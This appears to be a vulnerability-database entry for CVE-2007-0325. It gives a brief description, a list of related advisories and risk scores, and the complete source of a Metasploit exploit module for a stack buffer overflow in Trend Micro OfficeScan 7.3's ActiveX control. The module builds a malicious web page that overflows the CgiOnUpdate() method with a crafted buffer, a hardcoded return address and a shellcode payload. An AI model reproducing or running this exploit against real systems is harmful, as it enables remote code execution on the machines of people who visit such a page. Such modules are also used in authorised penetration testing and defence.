Trend Micro OfficeScan Client ActiveX Control Buffer Overflow

🗓️ 31 Aug 2007 11:58:31Reported by MC <[email protected]>Type

Trend Micro OfficeScan Client ActiveX Control Buffer Overflow exploit in OfficeScan Corporate Edition 7.3 allows execution of arbitrary code by sending overly long string to "CgiOnUpdate()" method in OfficeScanSetupINI.dl

Reporter	Title	Published	Views	Family All 14
Circl	CVE-2007-0325	9 May 201000:00	–	circl
Check Point Advisories	Trend Micro OfficeScan Client ActiveX Control Buffer Overflow (CVE-2007-0325)	28 Feb 200700:00	–	checkpoint_advisories
CVE	CVE-2007-0325	20 Feb 200717:00	–	cve
Cvelist	CVE-2007-0325	20 Feb 200717:00	–	cvelist
Exploit DB	Trend Micro OfficeScan - Client ActiveX Control Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
NVD	CVE-2007-0325	20 Feb 200717:28	–	nvd
Prion	Buffer overflow	20 Feb 200717:28	–	prion
Saint	Trend Micro OfficeScan client ActiveX control buffer overflow	21 Feb 200700:00	–	saint
Saint	Trend Micro OfficeScan client ActiveX control buffer overflow	21 Feb 200700:00	–	saint
Saint	Trend Micro OfficeScan client ActiveX control buffer overflow	21 Feb 200700:00	–	saint

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Trend Micro OfficeScan Client ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Trend Micro OfficeScan
        Corporate Edition 7.3. By sending an overly long string to the
        "CgiOnUpdate()" method located in the OfficeScanSetupINI.dll Control,
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-0325' ],
          [ 'OSVDB', '33040' ],
          [ 'BID', '22585' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7cc58fd8 } ],
        ],
      'DisclosureDate' => '2007-02-12',
      'DefaultTarget'  => 0))
  end

  def autofilter
      false
  end

  def check_dependencies
      use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit =  rand_text_alpha(2149) + [target.ret].pack('V') + p.encoded

    # Build out the message
    content = %Q|
      <html>
      <object classid='clsid:08d75bb0-d2b5-11d1-88fc-0080c859833b' id='#{vname}'></object>
      <script language='javascript'>
      var #{vname} = document.getElementById('#{vname}');
      var #{strname} = new String('#{sploit}');
      #{vname}.CgiOnUpdate = #{strname};
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

02 Oct 2020 20:00Current

7.9High risk

Vulners AI Score7.9

CVSS 29.3

EPSS0.34006